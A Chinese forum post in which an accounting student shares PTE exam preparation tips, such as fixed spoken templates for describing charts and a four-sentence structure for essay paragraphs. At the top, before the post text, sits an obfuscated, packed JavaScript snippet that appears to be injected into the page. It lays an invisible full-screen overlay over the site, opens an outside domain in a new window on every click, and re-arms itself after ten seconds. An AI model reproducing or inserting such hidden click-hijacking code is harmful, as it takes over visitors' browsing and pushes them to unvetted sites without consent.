PTE and me

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由 悠悠青草 于 2016/7/20 10:42 编辑
我是学accounting专业的,现在可以说是目前最苦逼的一个移民群体。与大多数这个专业想要移民的同胞们一样,现在最着急的事情就是考出英语。PTE最近火的不行,势头压倒雅思,在PTE的道路上我可以说是与各方神仙斗智斗勇,如何准备,如何在考场上声音压过阿三哥{:2_40:}等等。最近终于拿下了四个65的成绩。非常的开心{:2_42:}经历了这么长时间,有些心得要跟大家分享一下。
PTE口语我几乎把所有时间放在DI上。练这个题型的目标是要总结出一套自己非常顺口的答题套路。我的过程是这样的。首先听了一期文波悉尼PTE 的Michael老师的网课,了解到五段式模板,和信息点抓取的思路。Michael老师的课件中还提供了一些占比多少,最高最低上升下降等等的说法总结,这些总结对于形成自己的套路非常有用,我从中挑出了自己最习惯的一组说法。这个阶段每种情况我只保留了一两个说法,比如最高点我会固定地说peak at,占多少会固定用account for和represent的。听完Michael老师的课后,我把文波PTE在线练习平台上的图表分类精练了一遍。精练是指每个图都要说到模板化,并且做到40s以内。模板化的意思是,我不能根据每个图的特点说不同的句式,因为不同的句式在考试的时候是来不及反应的。比如,饼图就必定是The largest portion is A,which accounts for x%, followed by B at y%. The percentages for C, D, and E are p, q, s percent。如果有一些图难以套用同一套模板,也尽量归纳为第二种模板,比如Plus上的不上学原因的饼图,我选择了这样说The major reason…(而不是largest portion),这时,我心里清楚,遇到关于原因的饼图,就用这个模板,这种说法作为第二种模板固定下来,而不是临场再考虑。PTE写作方面,使用类似模板的思路,概括起来就是One idea for one paragraph.一段只写一个观点。这样做的好处首先是保持整段的连贯性、一致性,其次是减轻想观点的负担。一个观点怎样写成一个段落呢?以危险运动这个题为例,第一个主体段的观点是危险运动的好处。第一句,总体观点:危险的极限运动有利于培养坚韧的品质。第二句,解释:这是因为极限运动爱好者往往要经历无数次挫折,才能获得成功。第三句,举例:比如滑雪爱好者要做到在高级道上成功滑雪而不摔跤,平均要练三百次。第四句,总结点题:所以说,经常做某些危险运动的人,可以养成更强的意志力。不管什么观点,总是这样四句话:总说观点,解释,举例,总结点题。
PTE道路上还有许多小伙伴含着心酸泪举步维艰,希望这些考试心得可以帮到你们{:2_55:}就算路再艰难,有梦想就不可怕,加油吧。






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